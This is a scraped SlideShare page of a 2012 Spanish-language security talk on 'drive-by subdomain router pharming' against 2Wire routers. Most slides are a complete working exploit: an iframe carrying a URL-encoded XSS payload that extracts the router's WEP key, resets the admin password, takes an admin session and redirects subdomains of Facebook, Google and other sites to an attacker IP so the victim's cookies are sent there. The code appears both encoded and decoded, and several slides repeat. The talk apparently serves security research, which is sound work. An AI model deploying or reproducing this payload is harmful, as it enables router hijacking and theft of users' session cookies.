Drive by subdomain router pharming (2012)

878 views
833 views

Published on

Descripción de un ataque a un ruteador 2Wire que muestra como es posible desde un ataque al ruteador, obtener los datos de sesión de sitios importantes. El ataque que se realiza es pharming pero de una manera especial, ya que no se redirigen las páginas para montar un scam o página falsa, si no que se redirigen subdominios de los dominios originales y se intenta, en ese momento, realizar las peticiones con el cliente a los sitios para obtener las cookies de los dominios originales.

Código completo y video en:
http://www.websec.mx/blog/ver/Robo_de_cookies_por_router_vulnerable_caso_2Wire

Published in: Entertainment & Humor
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
878
On SlideShare
0
From Embeds
0
Number of Embeds
330
Actions
Shares
0
Downloads
0
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Drive by subdomain router pharming (2012)

  1. 1. Pedro Joaquín (hkm)BugCon 2012
  2. 2. La victima visita una página web maliciosa que tiene el códigopara explotar una vulnerabilidad de router pharming en suruteador.Se redirigen los subdominios de dominios verdaderos a la IPdel atacante.Se realizan peticiones a los subdominios desde el browser dela victima.Las cookies de la victima correspondientes a los dominiosoriginales son transmitidas a la IP del atacante.p w n a g e.
  3. 3. <html><body><iframesrc=http://home/xslt?PAGE=A05&THISPAGE=%3C%2fscript%3E%3Cscript%3Eeval%28unescape%28location.href%29%29%3C%2fscript%3E%23%0Aip%3D%22127.0.0.1%22%3B%0Adominios%3D%5B%27ea.facebook.com%27%2C%20%27ea.google.com%27%2C%20%27ea.youtube.com%27%2C%20%27ea.yahoo.com%27%2C%20%27ea.blogger.com%27%2C%20%27ea.twitter.com%27%2C%20%20%27ea.taringa.net%27%2C%20%27ea.wordpress.com%27%2C%20%27ea.linkedin.com%27%2C%20%27ea.amazon.com%27%2C%20%27ea.ba-k.com%27%5D%3B%0A%0Adocument.write%28%27%3Ctable%20width%3D500%20height%3D500%20bgcolor%3D%23000000%20align%3Dtop%20style%3D%22position%3Aabsolute%3B%20top%3A0px%3B%20left%3A0px%3B%20table-layout%3Afixed%3B%22%3E%3Ctr%3E%3Ctd%20valign%3Dtop%3E%3Cdiv%20id%3D%22ea%22%20style%3D%22color%3A%2300BB00%3B%22%3E%3C%2fdiv%3E%3C%2ftd%3E%3C%2ftr%3E%3C%2ftable%3E%27%29%3B%0A%0Adocument.getElementById%28%27ea%27%29.innerHTML%20%3D%20%22%3Cpre%3E%3Ch2%3E2Wire%20subdomain%20pharming%20cookie%20theft%3C%2fh2%3E%3C%2fpre%3E%22%3B%0A%0Adocument.getElementById%28%27ea%27%29.innerHTML%20%2b%3D%20%22%3Cb%3ESubdominios%20a%20redirigir%3A%3C%2fb%3E%20%22%2bdominios%2b%22%3Cbr%3E%3Cb%3EIP%20del%20server%20que%20almacenar%26aacute%3B%20cookies%3A%3C%2fb%3E%20%22%2bip%2b%22%3Cbr%3EObteniendo%20configuraci%26oacute%3Bn...%3Cbr%3E%22%3B%20%0A%0Atry%20%7B%20%0A%09xmlhttp%3Dnew%20ActiveXObject%28%22MSXML2.XMLHTTP%22%29%3B%20%0A%7D%20catch%28e%29%20%7B%20%0A%09xmlhttp%20%3D%20new%20XMLHttpRequest%28%29%20%0A%7D%0Axmlhttp.open%28%22GET%22%2C%22%2fxslt%3Fpage%3Dmgmt_data%22%2Cfalse%29%3B%0Axmlhttp.send%28null%29%3B%0Avar%20info%20%3D%20xmlhttp.responseText%3B%0Avar%20pass%20%3D%20%22temporal%22%3B%0Avar%20wep%20%3D%20info.substr%28info.indexOf%28%22encrypt_key%5C%22%5C%3E0x%22%29%2b15%2C10%29%3B%0Adocument.getElementById%28%27ea%27%29.innerHTML%20%2b%3D%20%22%3Cb%3EConfiguraci%26oacute%3Bn%20obtenida.%3C%2fb%3E%3Cbr%3EParseando%20WEP...%3Cbr%3E%3Cb%3EWEP%3A%3C%2fb%3E%20%22%2bwep%2b%22%3Cbr%3ECambiando%20el%20password%20a%20%27temporal%27...%3Cbr%3E%22%3B%20%0Axmlhttp.open%28%22POST%22%2C%22%2fxslt%22%29%3B%0Axmlhttp.setRequestHeader%28%22Content-type%22%2C%22application%2fx-www-form-urlencoded%22%29%3B%0Axmlhttp.send%28%22PAGE%3DA04_POST%26THISPAGE%3DA04%26NEXTPAGE%3DA04_POST%26SYSKEY%3D%22%2bwep%2b%22%26PASSWORD%3D%22%2bpass%2b%22%26PASSWORD_CONF%3D%22%2bpass%2b%22%26HINT%3D%22%2bpass%29%3B%0Adocument.getElementById%28%27ea%27%29.innerHTML%20%2b%3D%20%22%3Cb%3EPassword%20%27temporal%27%20establecido.%3C%2fb%3E%3Cbr%3EObteniendo%20sesi%26oacute%3Bn...%3Cbr%3E%22%3B%20%0Axmlhttp.open%28%22GET%22%2C%22%2fxslt%3FPAGE%3DA02_POST%26THISPAGE%3D%26NEXTPAGE%3DJ01%26CMSKICK%3D%26PAGE%3DA02%26NEXTPAGE%3DJ01%26SHOWHINT%3D1%26PASSWORD%3D%22%2bpass%2C%20false%29%3B%0Axmlhttp.send%28null%29%3B%0Adocument.getElementById%28%27ea%27%29.innerHTML%20%2b%3D%20%22%3Cb%3ESesion%20obtenida.%3C%2fb%3E%3Cbr%3E%3Cb%3ECookie%3A%20%3C%2fb%3E%22%2bdocument.cookie%2b%22%3Cbr%3ERedirigiendo%20subdominios...%3Cbr%3E%22%3B%20%0Afor%20%28var%20i%3D0%3B%20i%3Cdominios.length%3B%20i%2b%2b%29%20%7B%0A%09dns%3Ddominios%5Bi%5D%3B%0A%09xmlhttp.open%28%22GET%22%2C%22%2fxslt%3FPAGE%3DJ38_SET%26THISPAGE%3DJ38%26NEXTPAGE%3DJ38_SET%26NAME%3D%22%2bdns%2b%22%26ADDR%3D%22%2bip%2Cfalse%29%3B%0A%09xmlhttp.send%28null%29%3B%0A%7D%0Adocument.getElementById%28%27ea%27%29.innerHTML%20%2b%3D%20%22%3Cb%3EDominios%20redirigidos.%3C%2fb%3E%3Cbr%3EAbriendo%20subdominios%20y%20enviando%20cookies...%3Cbr%3E%22%3B%20%0Afor%20%28var%20i%3D0%3B%20i%3Cdominios.length%3B%20i%2b%2b%29%20%7B%0A%09dns%3Ddominios%5Bi%5D%3B%0A%09document.write%28%27%3Cimg%20src%3Dhttp%3A%2f%2f%27%2bdns%2b%27%3E%27%29%3B%0A%7D%0Adocument.getElementById%28%27ea%27%29.innerHTML%20%2b%3D%20%22%3Cb%3ECookies%20enviadas.%3C%2fb%3E%3Cbr%3EEliminando%20redirecciones%20de%20subdominios...%3Cbr%3E%22%3B%20%0Afor%20%28var%20i%3D20%3B%20i%3Cdominios.length%2b21%3B%20i%2b%2b%29%20%7B%0A%09xmlhttp.open%28%22GET%22%2C%22%2fxslt%3FPAGE%3DJ38_DEL%26THISPAGE%3DJ38%26NEXTPAGE%3DJ38_DEL%26NAMEID%3D%22%2bi%2Cfalse%29%3B%0A%09xmlhttp.send%28null%29%3B%0A%7D%0Adocument.getElementById%28%27ea%27%29.innerHTML%20%2b%3D%20%22%3Cb%3ERedirecciones%20eliminadas.%3C%2fb%3E%3Cbr%3E%3Cbr%3E%3Cb%3EFIN.%3C%2fb%3E%20Que%20tengas%20un%20buen%20dia%20%3A%29%22%3B%20%0A width=500height=500>2wiro</iframe></body><html>
  4. 4. Explota un XSS paraestar en la mismazona y obtener laconfiguración.Explota unarevelación deconfiguración paraobtener la WEPUtiliza la función deresetear elpassword con laWEP.Obtiene la sesiónde administrador.Redirige lossubdominios a la IPde almacenamientode cookies.Realiza peticionesdesde el cliente alos subdominiosAlmacena lascookies del clienteLimpia lasredirecciones delruteador.p w n a g e
  5. 5. Explota un XSS paraestar en la mismazona y obtener laconfiguración.Explota unarevelación deconfiguración paraobtener la WEPUtiliza la función deresetear elpassword con laWEP.Obtiene la sesiónde administrador.Redirige lossubdominios a la IPde almacenamientode cookies.Realiza peticionesdesde el cliente alos subdominiosAlmacena lascookies del clienteLimpia lasredirecciones delruteador.p w n a g e
  6. 6. Explota un XSS paraestar en la mismazona y obtener laconfiguración.Explota unarevelación deconfiguración paraobtener la WEPUtiliza la función deresetear elpassword con laWEP.Obtiene la sesiónde administrador.Redirige lossubdominios a la IPde almacenamientode cookies.Realiza peticionesdesde el cliente alos subdominiosAlmacena lascookies del clienteLimpia lasredirecciones delruteador.p w n a g e
  7. 7. Explota un XSS paraestar en la mismazona y obtener laconfiguración.Explota unarevelación deconfiguración paraobtener la WEPUtiliza la función deresetear elpassword con laWEP.Obtiene la sesiónde administrador.Redirige lossubdominios a la IPde almacenamientode cookies.Realiza peticionesdesde el cliente alos subdominiosAlmacena lascookies del clienteLimpia lasredirecciones delruteador.p w n a g e
  8. 8. Explota un XSS paraestar en la mismazona y obtener laconfiguración.Explota unarevelación deconfiguración paraobtener la WEPUtiliza la función deresetear elpassword con laWEP.Obtiene la sesiónde administrador.Redirige lossubdominios a la IPde almacenamientode cookies.Realiza peticionesdesde el cliente alos subdominiosAlmacena lascookies del clienteLimpia lasredirecciones delruteador.p w n a g e
  9. 9. Explota un XSS paraestar en la mismazona y obtener laconfiguración.Explota unarevelación deconfiguración paraobtener la WEPUtiliza la función deresetear elpassword con laWEP.Obtiene la sesiónde administrador.Redirige lossubdominios a la IPde almacenamientode cookies.Realiza peticionesdesde el cliente alos subdominiosAlmacena lascookies del clienteLimpia lasredirecciones delruteador.p w n a g e
  10. 10. Explota un XSS paraestar en la mismazona y obtener laconfiguración.Explota unarevelación deconfiguración paraobtener la WEPUtiliza la función deresetear elpassword con laWEP.Obtiene la sesiónde administrador.Redirige lossubdominios a la IPde almacenamientode cookies.Realiza peticionesdesde el cliente alos subdominiosAlmacena lascookies del clienteLimpia lasredirecciones delruteador.p w n a g e
  11. 11. Explota un XSS paraestar en la mismazona y obtener laconfiguración.Explota unarevelación deconfiguración paraobtener la WEPUtiliza la función deresetear elpassword con laWEP.Obtiene la sesiónde administrador.Redirige lossubdominios a la IPde almacenamientode cookies.Realiza peticionesdesde el cliente alos subdominiosAlmacena lascookies del clienteLimpia lasredirecciones delruteador.p w n a g e
  12. 12. Explota un XSS paraestar en la mismazona y obtener laconfiguración.Explota unarevelación deconfiguración paraobtener la WEPUtiliza la función deresetear elpassword con laWEP.Obtiene la sesiónde administrador.Redirige lossubdominios a la IPde almacenamientode cookies.Realiza peticionesdesde el cliente alos subdominiosAlmacena lascookies del clienteLimpia lasredirecciones delruteador.p w n a g e
  13. 13. try { xmlhttp=new ActiveXObject("MSXML2.XMLHTTP"); } catch(e) {xmlhttp = newXMLHttpRequest()}xmlhttp.open("GET","/xslt?page=mgmt_data",false);xmlhttp.send(null);var info = xmlhttp.responseText;var pass = "temporal";var wep =info.substr(info.indexOf("encrypt_key">0x")+15,10);document.getElementById(ea).innerHTML += "<b>Configuraci&oacute;n obtenida.</b><br>ParseandoWEP...<br><b>WEP:</b> "+wep+"<br>Cambiando el password a temporal...<br>";xmlhttp.open("POST","/xslt");xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("PAGE=A04_POST&THISPAGE=A04&NEXTPAGE=A04_POST&SYSKEY="+wep+"&PASSWORD="+pass+"&PASSWORD_CONF="+pass+"&HINT="+pass);document.getElementById(ea).innerHTML += "<b>Password temporalestablecido.</b><br>Obteniendo sesi&oacute;n...<br>";xmlhttp.open("GET","/xslt?PAGE=A02_POST&THISPAGE=&NEXTPAGE=J01&CMSKICK=&PAGE=A02&NEXTPAGE=J01&SHOWHINT=1&PASSWORD="+pass, false);xmlhttp.send(null);document.getElementById(ea).innerHTML += "<b>Sesionobtenida.</b><br><b>Cookie: </b>"+document.cookie+"<br>Redirigiendosubdominios...<br>";Disponible en Routerpwn desde Junio 2011 !
  14. 14. La victima visita una página web maliciosa que tiene el códigopara explotar una vulnerabilidad de router pharming en suruteador.Se redirigen los subdominios de dominios verdaderos a la IPdel atacante.Se realizan peticiones a los subdominios desde el browser dela victima.Las cookies de la victima correspondientes a los dominiosoriginales son transmitidas a la IP del atacante.p w n a g e.
  15. 15. <html><body><iframesrc=http://home/xslt?PAGE=A05&THISPAGE=</script><script>eval(unescape(location.href))</script>#ip="127.0.0.1";dominios=[ea.facebook.com, ea.google.com, ea.youtube.com, ea.yahoo.com, ea.blogger.com, ea.twitter.com, ea.taringa.net, ea.wordpress.com, ea.linkedin.com, ea.amazon.com, ea.ba-k.com];document.write(<tablewidth=500 height=500 bgcolor=#000000 align=topstyle="position:absolute; top:0px; left:0px; table-layout:fixed;"><tr><tdvalign=top><div id="ea"style="color:#00BB00;"></div></td></tr></table>);document.getElementById(ea).innerHTML = "<pre><h2>2Wire subdomain pharmingcookie theft</h2></pre>";document.getElementById(ea).innerHTML+= "<b>Subdominios a redirigir:</b> "+dominios+"<br><b>IP delserver que almacenar&aacute; cookies:</b> "+ip+"<br>Obteniendoconfiguraci&oacute;n...<br>";
  16. 16. La victima visita una página web maliciosa que tiene el códigopara explotar una vulnerabilidad de router pharming en suruteador.Se redirigen los subdominios de dominios verdaderos a la IPdel atacante.Se realizan peticiones a los subdominios desde el browser dela victima.Las cookies de la victima correspondientes a los dominiosoriginales son transmitidas a la IP del atacante.p w n a g e.
  17. 17. for (var i=0; i<dominios.length; i++) {dns=dominios[i];xmlhttp.open("GET","/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME="+dns+"&ADDR="+ip,false);xmlhttp.send(null);}document.getElementById(ea).innerHTML += "<b>Dominiosredirigidos.</b><br>Abriendo subdominios y enviando cookies...<br>";for (var i=0; i<dominios.length; i++) {dns=dominios[i];document.write(<img src=http://+dns+>);}document.getElementById(ea).innerHTML += "<b>Cookies enviadas.</b><br>Eliminandoredirecciones de subdominios...<br>";for (var i=20; i<dominios.length+21; i++) {xmlhttp.open("GET","/xslt?PAGE=J38_DEL&THISPAGE=J38&NEXTPAGE=J38_DEL&NAMEID="+i,false);xmlhttp.send(null);}document.getElementById(ea).innerHTML += "<b>Redireccioneseliminadas.</b><br><br><b>FIN.</b> Que tengas un buen dia :)";width=500 height=500>2wiro</iframe></body><html>
  18. 18. La victima visita una página web maliciosa que tiene el códigopara explotar una vulnerabilidad de router pharming en suruteador.Se redirigen los subdominios de dominios verdaderos a la IPdel atacante.Se realizan peticiones a los subdominios desde el browser dela victima.Las cookies de la victima correspondientes a los dominiosoriginales son transmitidas a la IP del atacante.p w n a g e.
  19. 19. La victima visita una página web maliciosa que tiene el códigopara explotar una vulnerabilidad de router pharming en suruteador.Se redirigen los subdominios de dominios verdaderos a la IPdel atacante.Se realizan peticiones a los subdominios desde el browser dela victima.Las cookies de la victima correspondientes a los dominiosoriginales son transmitidas a la IP del atacante.p w n a g e.
  20. 20. Pedro Joaquín (hkm)BugCon 2012

×